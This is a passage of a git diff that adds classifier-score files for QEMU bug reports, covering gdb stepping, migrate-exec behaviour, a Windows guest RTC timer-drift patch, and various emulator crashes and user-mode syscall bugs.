"qqemu.sstepbits" +> +received: "ENABLE=1,NOIRQ=2,NOTIMER=4" +> +> +The sstep MASK looks as expected, but does not work as expected. +> +> +I also try the same kernel and qemu version on X86 platform: +> +>> gdb-10.2 +> +>> qemu-6.2.0 +> +>> host kernel: 5.10.84 +> +>> VM kernel: 5.10.84 +> +> +> +The command `n` jumps to the next instruction. +> +> +# gdb client on host (x86 plafrom) +> +(gdb) b memory-failure.c:1488 +> +Breakpoint 1, memory_failure (pfn=1128931, flags=1) at +> +mm/memory-failure.c:1488 +> +1488 { +> +(gdb) n +> +1497 if (!sysctl_memory_failure_recovery) +> +(gdb) stepi +> +0xffffffff812efdbc 1497 if +> +(!sysctl_memory_failure_recovery) +> +(gdb) stepi +> +0xffffffff812efdbe 1497 if +> +(!sysctl_memory_failure_recovery) +> +(gdb) n +> +1500 p = pfn_to_online_page(pfn); +> +(gdb) l +> +1496 +> +1497 if (!sysctl_memory_failure_recovery) +> +1498 panic("Memory failure on page %lx", pfn); +> +1499 +> +1500 p = pfn_to_online_page(pfn); +> +1501 if (!p) { +> +> +Best Regrades, +> +Shuai +> +> +> +[1] +https://github.com/qemu/qemu/blob/master/docs/system/gdb.rst +Hi, Richard, + +I was wondering that do you have any comments to this? + +Best Regrades, +Shuai + diff --git a/results/classifier/108/graphic/352 b/results/classifier/108/graphic/352 new file mode 100644 index 000000000..2910cd61b --- /dev/null +++ b/results/classifier/108/graphic/352 @@ -0,0 +1,16 @@ +graphic: 0.955 +debug: 0.775 +other: 0.723 +device: 0.706 +performance: 0.400 +boot: 0.381 +vnc: 0.310 +PID: 0.196 +permissions: 0.160 +KVM: 0.132 +files: 0.102 +network: 0.095 +socket: 0.088 +semantic: 0.040 + +audio input crack diff --git a/results/classifier/108/graphic/391879 b/results/classifier/108/graphic/391879 new file mode 100644 index 000000000..36f9e0e88 --- /dev/null +++ b/results/classifier/108/graphic/391879 @@ -0,0 +1,56 @@ +graphic: 0.924 +semantic: 0.919 +KVM: 0.907 +performance: 0.901 +other: 0.876 +device: 0.833 +files: 0.830 +debug: 0.804 +network: 0.791 +permissions: 0.771 +PID: 0.722 +socket: 0.689 +vnc: 0.682 +boot: 0.590 + +migrate exec ignores exit status + +Binary package hint: kvm + +Using + + migrate "exec:cat > foo; false" + +in the monitor results in the state of the VM being written to foo, as expected, and the VM then being stopped. This is surprising, as I think it stands to reason that in case of a failed migrate-exec process, which is what a non-zero exit status implies to me, the VM should continue. + +== Version information + +$ lsb_release -rd +Description: Ubuntu 9.04 +Release: 9.04 + +$ apt-cache policy kvm +kvm: + Installed: 1:84+dfsg-0ubuntu11 + Candidate: 1:84+dfsg-0ubuntu11 + Version table: + *** 1:84+dfsg-0ubuntu11 0 + 500 http://gb.archive.ubuntu.com jaunty/main Packages + 100 /var/lib/dpkg/status + +Well, I have reproduced this behavior in Lucid's qemu-kvm 0.12.3, so the report is still accurate. + +I don't have a strong opinion on the desired behavior, though I can certainly see the bug reporter's point. + +This bug is filed against the upstream QEMU project, so we'll defer to Upstream's decision on this feature. Thanks for the report. + +This is a bug and has been reported upstream, it is unlikely to be fixed at the distribution level and therefore anyone interested in working on this bug should contribute a patch to the upstream project. This will then filter down to Ubuntu when it is merged mainline. Marking "Won't Fix" against the Ubuntu package. + +Thanks for reporting this bug. + +The attached patch works for me with the posted test case. + +Patch has been included here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=41ef56e61153d7bd27d34a63463 +So I assume this should be working now. + diff --git a/results/classifier/108/graphic/439 b/results/classifier/108/graphic/439 new file mode 100644 index 000000000..3f4925477 --- /dev/null +++ b/results/classifier/108/graphic/439 @@ -0,0 +1,16 @@ +graphic: 0.942 +device: 0.641 +performance: 0.406 +network: 0.359 +permissions: 0.306 +files: 0.200 +debug: 0.195 +boot: 0.157 +semantic: 0.126 +PID: 0.120 +vnc: 0.109 +other: 0.077 +socket: 0.064 +KVM: 0.011 + +Hard crash - qemu-6.0.0 with windows 10 guest diff --git a/results/classifier/108/graphic/46572227 b/results/classifier/108/graphic/46572227 new file mode 100644 index 000000000..c65ee26c5 --- /dev/null +++ b/results/classifier/108/graphic/46572227 @@ -0,0 +1,416 @@ +semantic: 0.965 +graphic: 0.962 +debug: 0.958 +permissions: 0.955 +PID: 0.937 +performance: 0.935 +other: 0.927 +vnc: 0.904 +device: 0.901 +boot: 0.900 +files: 0.879 +KVM: 0.857 +network: 0.841 +socket: 0.841 + +[Qemu-devel] [Bug?] Windows 7's time drift obviously while RTC rate switching frequently between high and low timer rate + +Hi, + +We tested with the latest QEMU, and found that time drift obviously (clock fast +in guest) +in Windows 7 64 bits guest in some cases. + +It is easily to reproduce, using the follow QEMU command line to start windows +7: + +# x86_64-softmmu/qemu-system-x86_64 -name win7_64_2U_raw -machine +pc-i440fx-2.6,accel=kvm,usb=off -cpu host -m 2048 -realtime mlock=off -smp +4,sockets=2,cores=2,threads=1 -rtc base=utc,clock=vm,driftfix=slew -no-hpet +-global kvm-pit.lost_tick_policy=discard -hda /mnt/nfs/win7_sp1_32_2U_raw -vnc +:11 -netdev tap,id=hn0,vhost=off -device rtl8139,id=net-pci0,netdev=hn0 -device +piix3-usb-uhci,id=usb -device usb-tablet,id=input0 -device usb-mouse,id=input1 +-device usb-kbd,id=input2 -monitor stdio + +Adjust the VM's time to host time, and run java application or run the follow +program +in windows 7: + +#pragma comment(lib, "winmm") +#include <stdio.h> +#include <windows.h> + +#define SWITCH_PEROID 13 + +int main() +{ + DWORD count = 0; + + while (1) + { + count++; + timeBeginPeriod(1); + DWORD start = timeGetTime(); + Sleep(40); + timeEndPeriod(1); + if ((count % SWITCH_PEROID) == 0) { + Sleep(1); + } + } + return 0; +} + +After few minutes, you will find that the time in windows 7 goes ahead of the +host time, drifts about several seconds. + +I have dug deeper in this problem. For windows systems that use the CMOS timer, +the base interrupt rate is usually 64Hz, but running some application in VM +will raise the timer rate to 1024Hz, running java application and or above +program will raise the timer rate. +Besides, Windows operating systems generally keep time by counting timer +interrupts (ticks). But QEMU seems not emulate the rate converting fine. + +We update the timer in function periodic_timer_update(): +static void periodic_timer_update(RTCState *s, int64_t current_time) +{ + + cur_clock = muldiv64(current_time, RTC_CLOCK_RATE, get_ticks_per_sec()); + next_irq_clock = (cur_clock & ~(period - 1)) + period; + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +Here we calculate the next interrupt time by align the current clock with the +new period, I'm a little confused that why we care about the *history* time ? +If VM switches from high rate to low rate, the next interrupt time may come +earlier than it supposed to be. We have observed it in our test. we printed the +interval time of interrupts and the VM's current time (We got the time from VM). + +Here is part of the log: +... ... +period=512 irq inject 1534: 15625 us +Tue Mar 29 04:38:00 2016 +*irq_num_period_32=0, irq_num_period_512=64: [3]: Real time interval is 999696 +us +... ... +*irq_num_period_32=893, irq_num_period_512=9 [81]: Real time interval is 951086 +us +Convert 32 --- > 512: 703: 96578 us +period=512 irq inject 44391: 12702 us +Convert 512 --- > 32: 704: 12704 us11 +period=32 irq inject 44392: 979 us +... ... +32 --- > 512: 705: 24388 us +period=512 irq inject 44417: 6834 us +Convert 512 --- > 32: 706: 6830 us +period=32 irq inject 44418: 978 us +... ... +Convert 32 --- > 512: 707: 60525 us +period=512 irq inject 44480: 1945 us +Convert 512 --- > 32: 708: 1955 us +period=32 irq inject 44481: 977 us +... ... +Convert 32 --- > 512: 709: 36105 us +period=512 irq inject 44518: 10741 us +Convert 512 --- > 32: 710: 10736 us +period=32 irq inject 44519: 989 us +... ... +Convert 32 --- > 512: 711: 123998 us +period=512 irq inject 44646: 974 us +period=512 irq inject 44647: 15607 us +Convert 512 --- > 32: 712: 16560 us +period=32 irq inject 44648: 980 us +... ... +period=32 irq inject 44738: 974 us +Convert 32 --- > 512: 713: 88828 us +period=512 irq inject 44739: 4885 us +Convert 512 --- > 32: 714: 4882 us +period=32 irq inject 44740: 989 us +... ... +period=32 irq inject 44842: 974 us +Convert 32 --- > 512: 715: 100537 us +period=512 irq inject 44843: 8788 us +Convert 512 --- > 32: 716: 8789 us +period=32 irq inject 44844: 972 us +... ... +period=32 irq inject 44941: 979 us +Convert 32 --- > 512: 717: 95677 us +period=512 irq inject 44942: 13661 us +Convert 512 --- > 32: 718: 13657 us +period=32 irq inject 44943: 987 us +... ... +Convert 32 --- > 512: 719: 94690 us +period=512 irq inject 45040: 14643 us +Convert 512 --- > 32: 720: 14642 us +period=32 irq inject 45041: 974 us +... ... +Convert 32 --- > 512: 721: 88848 us +period=512 irq inject 45132: 4892 us +Convert 512 --- > 32: 722: 4931 us +period=32 irq inject 45133: 964 us +... ... +Tue Mar 29 04:39:19 2016 +*irq_num_period_32:835, irq_num_period_512:11 [82], Real time interval is +911520 us + +For windows 7, it has got 835 IRQs which injected during the period of 32, +and got 11 IRQs that injected during the period of 512. it updated the +wall-clock +time with one second, because it supposed it has counted +(835*976.5+11*15625)= 987252.5 us, but the real interval time is 911520 us. + +IMHO, we should calculate the next interrupt time based on the time of last +interrupt injected, and it seems to be more similar with hardware CMOS timer +in this way. +Maybe someone can tell me the reason why we calculated the interrupt timer +in that way, or is it a bug ? ;) + +Thanks, +Hailiang + +ping... + +It seems that we can eliminate the drift by the following patch. +(I tested it for two hours, and there is no drift, before, the timer +in Windows 7 drifts about 2 seconds per minute.) I'm not sure if it is +the right way to solve the problem. +Any comments are welcomed. Thanks. + +From bd6acd577cbbc9d92d6376c770219470f184f7de Mon Sep 17 00:00:00 2001 +From: zhanghailiang <address@hidden> +Date: Thu, 31 Mar 2016 16:36:15 -0400 +Subject: [PATCH] timer/mc146818rtc: fix timer drift in Windows OS while RTC + rate converting frequently + +Signed-off-by: zhanghailiang <address@hidden> +--- + hw/timer/mc146818rtc.c | 25 ++++++++++++++++++++++--- + 1 file changed, 22 insertions(+), 3 deletions(-) + +diff --git a/hw/timer/mc146818rtc.c b/hw/timer/mc146818rtc.c +index 2ac0fd3..e39d2da 100644 +--- a/hw/timer/mc146818rtc.c ++++ b/hw/timer/mc146818rtc.c +@@ -79,6 +79,7 @@ typedef struct RTCState { + /* periodic timer */ + QEMUTimer *periodic_timer; + int64_t next_periodic_time; ++ uint64_t last_periodic_time; + /* update-ended timer */ + QEMUTimer *update_timer; + uint64_t next_alarm_time; +@@ -152,7 +153,8 @@ static void rtc_coalesced_timer(void *opaque) + static void periodic_timer_update(RTCState *s, int64_t current_time) + { + int period_code, period; +- int64_t cur_clock, next_irq_clock; ++ int64_t cur_clock, next_irq_clock, pre_irq_clock; ++ bool change = false; + + period_code = s->cmos_data[RTC_REG_A] & 0x0f; + if (period_code != 0 +@@ -165,14 +167,28 @@ static void periodic_timer_update(RTCState *s, int64_t +current_time) + if (period != s->period) { + s->irq_coalesced = (s->irq_coalesced * s->period) / period; + DPRINTF_C("cmos: coalesced irqs scaled to %d\n", s->irq_coalesced); ++ if (s->period && period) { ++ change = true; ++ } + } + s->period = period; + #endif + /* compute 32 khz clock */ + cur_clock = + muldiv64(current_time, RTC_CLOCK_RATE, NANOSECONDS_PER_SECOND); ++ if (change) { ++ int offset = 0; + +- next_irq_clock = (cur_clock & ~(period - 1)) + period; ++ pre_irq_clock = muldiv64(s->last_periodic_time, RTC_CLOCK_RATE, ++ NANOSECONDS_PER_SECOND); ++ if ((cur_clock - pre_irq_clock) > period) { ++ offset = (cur_clock - pre_irq_clock) / period; ++ } ++ s->irq_coalesced += offset; ++ next_irq_clock = pre_irq_clock + (offset + 1) * period; ++ } else { ++ next_irq_clock = (cur_clock & ~(period - 1)) + period; ++ } + s->next_periodic_time = muldiv64(next_irq_clock, +NANOSECONDS_PER_SECOND, + RTC_CLOCK_RATE) + 1; + timer_mod(s->periodic_timer, s->next_periodic_time); +@@ -187,7 +203,9 @@ static void periodic_timer_update(RTCState *s, int64_t +current_time) + static void rtc_periodic_timer(void *opaque) + { + RTCState *s = opaque; +- ++ int64_t next_periodic_time; ++ ++ next_periodic_time = s->next_periodic_time; + periodic_timer_update(s, s->next_periodic_time); + s->cmos_data[RTC_REG_C] |= REG_C_PF; + if (s->cmos_data[RTC_REG_B] & REG_B_PIE) { +@@ -204,6 +222,7 @@ static void rtc_periodic_timer(void *opaque) + DPRINTF_C("cmos: coalesced irqs increased to %d\n", + s->irq_coalesced); + } ++ s->last_periodic_time = next_periodic_time; + } else + #endif + qemu_irq_raise(s->irq); +-- +1.8.3.1 + + +On 2016/3/29 19:58, Hailiang Zhang wrote: +Hi, + +We tested with the latest QEMU, and found that time drift obviously (clock fast +in guest) +in Windows 7 64 bits guest in some cases. + +It is easily to reproduce, using the follow QEMU command line to start windows +7: + +# x86_64-softmmu/qemu-system-x86_64 -name win7_64_2U_raw -machine +pc-i440fx-2.6,accel=kvm,usb=off -cpu host -m 2048 -realtime mlock=off -smp +4,sockets=2,cores=2,threads=1 -rtc base=utc,clock=vm,driftfix=slew -no-hpet +-global kvm-pit.lost_tick_policy=discard -hda /mnt/nfs/win7_sp1_32_2U_raw -vnc +:11 -netdev tap,id=hn0,vhost=off -device rtl8139,id=net-pci0,netdev=hn0 -device +piix3-usb-uhci,id=usb -device usb-tablet,id=input0 -device usb-mouse,id=input1 +-device usb-kbd,id=input2 -monitor stdio + +Adjust the VM's time to host time, and run java application or run the follow +program +in windows 7: + +#pragma comment(lib, "winmm") +#include <stdio.h> +#include <windows.h> + +#define SWITCH_PEROID 13 + +int main() +{ + DWORD count = 0; + + while (1) + { + count++; + timeBeginPeriod(1); + DWORD start = timeGetTime(); + Sleep(40); + timeEndPeriod(1); + if ((count % SWITCH_PEROID) == 0) { + Sleep(1); + } + } + return 0; +} + +After few minutes, you will find that the time in windows 7 goes ahead of the +host time, drifts about several seconds. + +I have dug deeper in this problem. For windows systems that use the CMOS timer, +the base interrupt rate is usually 64Hz, but running some application in VM +will raise the timer rate to 1024Hz, running java application and or above +program will raise the timer rate. +Besides, Windows operating systems generally keep time by counting timer +interrupts (ticks). But QEMU seems not emulate the rate converting fine. + +We update the timer in function periodic_timer_update(): +static void periodic_timer_update(RTCState *s, int64_t current_time) +{ + + cur_clock = muldiv64(current_time, RTC_CLOCK_RATE, +get_ticks_per_sec()); + next_irq_clock = (cur_clock & ~(period - 1)) + period; + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +Here we calculate the next interrupt time by align the current clock with the +new period, I'm a little confused that why we care about the *history* time ? +If VM switches from high rate to low rate, the next interrupt time may come +earlier than it supposed to be. We have observed it in our test. we printed the +interval time of interrupts and the VM's current time (We got the time from VM). + +Here is part of the log: +... ... +period=512 irq inject 1534: 15625 us +Tue Mar 29 04:38:00 2016 +*irq_num_period_32=0, irq_num_period_512=64: [3]: Real time interval is 999696 +us +... ... +*irq_num_period_32=893, irq_num_period_512=9 [81]: Real time interval is 951086 +us +Convert 32 --- > 512: 703: 96578 us +period=512 irq inject 44391: 12702 us +Convert 512 --- > 32: 704: 12704 us11 +period=32 irq inject 44392: 979 us +... ... +32 --- > 512: 705: 24388 us +period=512 irq inject 44417: 6834 us +Convert 512 --- > 32: 706: 6830 us +period=32 irq inject 44418: 978 us +... ... +Convert 32 --- > 512: 707: 60525 us +period=512 irq inject 44480: 1945 us +Convert 512 --- > 32: 708: 1955 us +period=32 irq inject 44481: 977 us +... ... +Convert 32 --- > 512: 709: 36105 us +period=512 irq inject 44518: 10741 us +Convert 512 --- > 32: 710: 10736 us +period=32 irq inject 44519: 989 us +... ... +Convert 32 --- > 512: 711: 123998 us +period=512 irq inject 44646: 974 us +period=512 irq inject 44647: 15607 us +Convert 512 --- > 32: 712: 16560 us +period=32 irq inject 44648: 980 us +... ... +period=32 irq inject 44738: 974 us +Convert 32 --- > 512: 713: 88828 us +period=512 irq inject 44739: 4885 us +Convert 512 --- > 32: 714: 4882 us +period=32 irq inject 44740: 989 us +... ... +period=32 irq inject 44842: 974 us +Convert 32 --- > 512: 715: 100537 us +period=512 irq inject 44843: 8788 us +Convert 512 --- > 32: 716: 8789 us +period=32 irq inject 44844: 972 us +... ... +period=32 irq inject 44941: 979 us +Convert 32 --- > 512: 717: 95677 us +period=512 irq inject 44942: 13661 us +Convert 512 --- > 32: 718: 13657 us +period=32 irq inject 44943: 987 us +... ... +Convert 32 --- > 512: 719: 94690 us +period=512 irq inject 45040: 14643 us +Convert 512 --- > 32: 720: 14642 us +period=32 irq inject 45041: 974 us +... ... +Convert 32 --- > 512: 721: 88848 us +period=512 irq inject 45132: 4892 us +Convert 512 --- > 32: 722: 4931 us +period=32 irq inject 45133: 964 us +... ... +Tue Mar 29 04:39:19 2016 +*irq_num_period_32:835, irq_num_period_512:11 [82], Real time interval is +911520 us + +For windows 7, it has got 835 IRQs which injected during the period of 32, +and got 11 IRQs that injected during the period of 512. it updated the +wall-clock +time with one second, because it supposed it has counted +(835*976.5+11*15625)= 987252.5 us, but the real interval time is 911520 us. + +IMHO, we should calculate the next interrupt time based on the time of last +interrupt injected, and it seems to be more similar with hardware CMOS timer +in this way. +Maybe someone can tell me the reason why we calculated the interrupt timer +in that way, or is it a bug ? ;) + +Thanks, +Hailiang + diff --git a/results/classifier/108/graphic/488 b/results/classifier/108/graphic/488 new file mode 100644 index 000000000..995db88e4 --- /dev/null +++ b/results/classifier/108/graphic/488 @@ -0,0 +1,45 @@ +graphic: 0.945 +device: 0.734 +PID: 0.713 +files: 0.665 +performance: 0.662 +semantic: 0.590 +socket: 0.545 +vnc: 0.530 +network: 0.491 +debug: 0.463 +other: 0.409 +KVM: 0.371 +permissions: 0.315 +boot: 0.248 + +[git]Virt-Manager cannot start any previously created virtual machine with Qemu commit bd306cfe: 'spicevmc' is not a valid char driver name +Description of problem: +With qemu built on commit bd306cfe, I'm unable to start a previously created VM. + +Because of both bug #463 and #474 I was blocked from building qemu from git for something like a week or so. My last built and working Qemu is based on commit 9bef7ea9d9. + +Doing a git bissect won't be an easy task :( +Steps to reproduce: +1. Build qemu using commit bd306cfe +2. Launch Virt-Manager +3. Try to launch a previously created VM or try to boot a new one. +Additional information: +Every single time I tried to launch a VM, I get a dialog box with this error message: + +``` +Error starting domain: internal error: qemu unexpectedly closed the monitor: 2021-07-18T07:56:50.116480Z qemu-system-x86_64: -chardev spicevmc,id=charchannel1,name=vdagent: 'spicevmc' is not a valid char driver name + +Traceback (most recent call last): + File "/usr/share/virt-manager/virtManager/asyncjob.py", line 65, in cb_wrapper + callback(asyncjob, *args, **kwargs) + File "/usr/share/virt-manager/virtManager/asyncjob.py", line 101, in tmpcb + callback(*args, **kwargs) + File "/usr/share/virt-manager/virtManager/object/libvirtobject.py", line 57, in newfn + ret = fn(self, *args, **kwargs) + File "/usr/share/virt-manager/virtManager/object/domain.py", line 1329, in startup + self._backend.create() + File "/usr/lib/python3.9/site-packages/libvirt.py", line 1353, in create + raise libvirtError('virDomainCreate() failed') +libvirt.libvirtError: internal error: qemu unexpectedly closed the monitor: 2021-07-18T07:56:50.116480Z qemu-system-x86_64: -chardev spicevmc,id=charchannel1,name=vdagent: 'spicevmc' is not a valid char driver name +``` diff --git a/results/classifier/108/graphic/496 b/results/classifier/108/graphic/496 new file mode 100644 index 000000000..ad3e27b99 --- /dev/null +++ b/results/classifier/108/graphic/496 @@ -0,0 +1,28 @@ +graphic: 0.978 +device: 0.940 +files: 0.793 +boot: 0.733 +semantic: 0.700 +performance: 0.694 +network: 0.653 +socket: 0.643 +PID: 0.582 +vnc: 0.577 +permissions: 0.565 +debug: 0.479 +other: 0.332 +KVM: 0.021 + +qemu-system-aarch64: ../accel/tcg/cpu-exec.c:681: cpu_loop_exec_tb: Assertion 'icount_enabled()' failed +Description of problem: +When I use qemu-system-aarch64 start a Debian(ARM64) on a mips64el host(ARM64 and X86_64 host don't have this bug), I get a bug as follows: + + +`qemu-system-aarch64: ../accel/tcg/cpu-exec.c:681: cpu_loop_exec_tb: Assertion 'icount_enabled()' failed` + + +The crash code is in ../accel/tcg/cpu-exec.c:681, the code in qemu v5.2.0 as follows: + + +``` +# diff --git a/results/classifier/108/graphic/497 b/results/classifier/108/graphic/497 new file mode 100644 index 000000000..3b3ae9d94 --- /dev/null +++ b/results/classifier/108/graphic/497 @@ -0,0 +1,34 @@ +graphic: 0.924 +device: 0.824 +vnc: 0.783 +network: 0.675 +semantic: 0.629 +debug: 0.514 +performance: 0.497 +other: 0.400 +permissions: 0.344 +boot: 0.344 +PID: 0.317 +socket: 0.122 +files: 0.081 +KVM: 0.053 + +GVT-g + -spice error since qemu 6 +Description of problem: +It doesn't work: +``` +qemu-system-x86_64: The console requires display DMABUF support. +``` + +If I add `gl=on` to `-spice`, it reports: +``` +can't register two opengl displays (spice-egl, egl-headless) +``` +Steps to reproduce: +1. Setup an Intel GVT-g vGPU +2. Run the command +3. See the error +Additional information: +Before 6.0.0 it worked. + +Using VNC instead of SPICE works. diff --git a/results/classifier/108/graphic/498421 b/results/classifier/108/graphic/498421 new file mode 100644 index 000000000..c87ee2d17 --- /dev/null +++ b/results/classifier/108/graphic/498421 @@ -0,0 +1,25 @@ +graphic: 0.955 +device: 0.749 +other: 0.629 +semantic: 0.609 +performance: 0.567 +vnc: 0.494 +boot: 0.486 +PID: 0.443 +socket: 0.404 +network: 0.363 +permissions: 0.330 +debug: 0.324 +files: 0.282 +KVM: 0.209 + +Emulated monitor EDID reports too few available graphics resolutions + +In a Windows guest, not very many resolution modes are available. The available modes are restricted by what the virtual "monitor" EDID reports via DDC. And apparently, your fake monitor has a short list of modes. Please add some more modes like 1152x864, at least. But what would be REALLY nice is much finer granularity so that users can set the guest res to be just enough smaller than the host display so that window decorations and such fit. + +If you use -vga std of -vga vmware, you'll have a much larger choice of resolutions. + +For -vga vmware, it's actually possible to add custom resolutions but we don't have the tooling to make that user friendly today. I'll mark this bug as a wish list to track adding that feature. + +As mentioned in comment #1, -vga std is the way to go, so marking this ticket now as "Won't fix". + diff --git a/results/classifier/108/graphic/504 b/results/classifier/108/graphic/504 new file mode 100644 index 000000000..6e9424ea2 --- /dev/null +++ b/results/classifier/108/graphic/504 @@ -0,0 +1,33 @@ +graphic: 0.935 +semantic: 0.696 +performance: 0.666 +KVM: 0.648 +device: 0.546 +PID: 0.429 +debug: 0.283 +other: 0.275 +vnc: 0.227 +socket: 0.171 +files: 0.165 +permissions: 0.154 +boot: 0.135 +network: 0.112 + +kvm_log_clear_one_slot: KVM_CLEAR_DIRTY_LOG failed +Description of problem: +``` + $ ./qemu-system-i386 -enable-kvm -cdrom ubuntu-20.04.2.0-desktop-amd64.iso +qemu-system-i386: kvm_log_clear_one_slot: KVM_CLEAR_DIRTY_LOG failed, slot=9, start=0x0, size=0x10, errno=-14 +qemu-system-i386: kvm_log_clear: kvm log clear failed: mr=vga.vram offset=10000 size=10000 +Aborted + + $ ./qemu-system-x86_64 -enable-kvm -cdrom ubuntu-20.04.2.0-desktop-amd64.iso +qemu-system-x86_64: kvm_log_clear_one_slot: KVM_CLEAR_DIRTY_LOG failed, slot=9, start=0x0, size=0x10, errno=-14 +qemu-system-x86_64: kvm_log_clear: kvm log clear failed: mr=vga.vram offset=0 size=10000 +Aborted +``` +Steps to reproduce: +1. qemu crashes right at start +Additional information: +- last successfully used qemu version: 5.2.0 + - first seen failing qemu version: 6.0 diff --git a/results/classifier/108/graphic/553 b/results/classifier/108/graphic/553 new file mode 100644 index 000000000..213df3345 --- /dev/null +++ b/results/classifier/108/graphic/553 @@ -0,0 +1,40 @@ +graphic: 0.992 +debug: 0.972 +device: 0.966 +PID: 0.900 +performance: 0.812 +semantic: 0.751 +network: 0.740 +vnc: 0.727 +boot: 0.725 +socket: 0.666 +files: 0.605 +KVM: 0.475 +permissions: 0.435 +other: 0.243 + +Virtio-vga with blobs on fails, when qemu compiled with enabled modules +Description of problem: +When using qemu configured with `--enabled-modules` and starting qemu with command line above, qemu crashes with following output: +``` +qemu-system-x86_64: -device virtio-vga,blob=on: cannot enable blob resources without udmabuf +``` +While qemu configured without `--enabled-modules` runs this command successfully. +Steps to reproduce: +1. Get latest qemu source code +2. Build qemu `mkdir build && cd build && ../configure && ninja` +3. Check if following command runs without errors and show sdl qemu window + ``` + sudo ./qemu-system-x86_64 \ + -object memory-backend-memfd,id=mem1,size=512M \ + -machine memory-backend=mem1 \ + -display sdl \ + -device virtio-vga,blob=on + + ``` +4. Then try to build with modules enabled `mkdir build && cd build && ../configure --enable-modules && ninja` +5. Try to do step 3 again +Additional information: +I tried to debug this bug, and found that problem is with function `virtio_gpu_have_udmabuf`: when qemu is build without modules this function is from `hw/display/virtio-gpu-udmabuf.c` (which is correct), but when qemu compiled with modules this function comes from `stubs/virtio-gpu-udmabuf.c` and when `hw-display-virtio-gpu.so` is loaded, `virtio_gpu_have_udmabuf` is not replaced, and remains function from stub (which always return 0) and command fails. + +I think I will submit patch that fix it tomorrow diff --git a/results/classifier/108/graphic/567376 b/results/classifier/108/graphic/567376 new file mode 100644 index 000000000..1798ddc8b --- /dev/null +++ b/results/classifier/108/graphic/567376 @@ -0,0 +1,26 @@ +graphic: 0.926 +device: 0.818 +other: 0.706 +debug: 0.703 +performance: 0.660 +semantic: 0.635 +PID: 0.601 +network: 0.570 +vnc: 0.522 +permissions: 0.511 +files: 0.474 +socket: 0.460 +boot: 0.386 +KVM: 0.025 + +qemu-img fails to convert image + +On a Windows XP system and an NTFS drive, using QEMU on Windows Ver 0.12.2 from http://homepage3.nifty.com/takeda-toshiya/qemu/ or QEMU 0.12.3 built locally, when I run the following commands, a dialog is displayed indicating that "qemu-img.exe has encountered a problem and needs to close". + + qemu-img create foo.img 1G + qemu-img convert -O qcow2 foo.img bar.img + +0.15.0 under win7 64-bit seems to work OK. + +Looking at comment #1, it sounds like this has been fixed, so let's close this ticket now. + diff --git a/results/classifier/108/graphic/567380 b/results/classifier/108/graphic/567380 new file mode 100644 index 000000000..ba5450530 --- /dev/null +++ b/results/classifier/108/graphic/567380 @@ -0,0 +1,37 @@ +graphic: 0.922 +semantic: 0.858 +device: 0.807 +performance: 0.783 +files: 0.761 +other: 0.737 +network: 0.699 +PID: 0.665 +socket: 0.652 +permissions: 0.566 +boot: 0.545 +debug: 0.528 +vnc: 0.491 +KVM: 0.269 + +qemu-img fails to create images >= 4G + +On a Windows XP system and an NTFS drive, using QEMU on Windows Ver 0.12.2 from http://homepage3.nifty.com/takeda-toshiya/qemu/ or QEMU 0.12.3 or d3538b45ea88e82d1b01959b4ca55d3696b71cb2 built locally, when I run the following command, a zero-length file is created. + + qemu-img create foo.img 4G + +Confirmed under Win 7 64-bit. +Also does same thing on v10.6, v11.1, v12.1 + +what a zero-length file means? Run the following command to see +qemu-img info foo.img + +The file size was zero bytes (i.e., it contained no data). + +I've tried again with QEMU 2.6.50 on a Windows 7 Professional system and it appears to have created the s + +Sorry, I accidentally submitted comment #3 without finishing it. + +I was going to say that when I tried QEMU 2.6.50 on a Windows 7 Professional system, it appears to have created the image file successfully. + +Thanks for the update ... since it is working with the current version of QEMU, I assume this problem has been fixed sometimes during the past years, thus we can close this ticket now. + diff --git a/results/classifier/108/graphic/577 b/results/classifier/108/graphic/577 new file mode 100644 index 000000000..9345d069c --- /dev/null +++ b/results/classifier/108/graphic/577 @@ -0,0 +1,40 @@ +graphic: 0.942 +files: 0.938 +performance: 0.884 +device: 0.793 +semantic: 0.732 +PID: 0.643 +network: 0.590 +vnc: 0.571 +debug: 0.517 +permissions: 0.493 +socket: 0.435 +boot: 0.403 +other: 0.077 +KVM: 0.075 + +getdtablesize() returns wrong value in qemu user mode on Linux/alpha +Description of problem: +The `getdtablesize()` function returns a value that is too large. Namely, `getdtablesize() - 1` ought to be a valid file descriptor, but is not. +Steps to reproduce: +[foo.c](/uploads/7a9e99d3811fe4a7eef183ed98c966a4/foo.c) + +1. +``` +# apt install g++-10-alpha-linux-gnu +``` +2. +``` +$ alpha-linux-gnu-gcc-10 -Wall -static foo.c +``` +[a.out](/uploads/4fffa6dd2332885f51e4030dcbe25644/a.out) + +3. Transfer the a.out file to a Linux/alpha machine; execute it there. The return code is 0. +4. +``` +$ QEMU_LD_PREFIX=/usr/alpha-linux-gnu ~/inst-qemu/6.1.0/bin/qemu-alpha ./a.out ; echo $? +``` +Expected: `0` +Actual: `1` +Additional information: + diff --git a/results/classifier/108/graphic/578 b/results/classifier/108/graphic/578 new file mode 100644 index 000000000..e26c9b56c --- /dev/null +++ b/results/classifier/108/graphic/578 @@ -0,0 +1,45 @@ +graphic: 0.967 +performance: 0.896 +device: 0.844 +network: 0.826 +files: 0.813 +PID: 0.794 +semantic: 0.794 +vnc: 0.745 +permissions: 0.708 +socket: 0.700 +boot: 0.689 +debug: 0.653 +KVM: 0.430 +other: 0.271 + +getdomainname() is not implemented in QEMU user mode on Linux/sparc64 +Description of problem: +The `getdomainname()` function fails, instead of succeeding. +Steps to reproduce: +[foo.c](/uploads/7586c9aab788855b232a5c2f6aaeb4fc/foo.c) + +1. +``` +# apt install g++-10-sparc64-linux-gnu +# mkdir -p /usr/sparc64-linux-gnu/etc +# touch /usr/sparc64-linux-gnu/etc/ld.so.cache +``` +2. +``` +$ sparc64-linux-gnu-gcc-10 -Wall -static foo.c +``` +[a.out](/uploads/39d291b95caa182d74b0b622a82667e8/a.out) + +3. Transfer the a.out file to a Linux/sparc64 machine; execute it there. It prints +``` +result: (none) +``` +4. +``` +$ QEMU_LD_PREFIX=/usr/sparc64-linux-gnu ~/inst-qemu/6.1.0/bin/qemu-sparc64 ./a.out +``` +Expected: `result: (none)` +Actual: `getdomainname: Function not implemented` +Additional information: + diff --git a/results/classifier/108/graphic/579 b/results/classifier/108/graphic/579 new file mode 100644 index 000000000..47b0f0432 --- /dev/null +++ b/results/classifier/108/graphic/579 @@ -0,0 +1,65 @@ +graphic: 0.973 +performance: 0.950 +semantic: 0.929 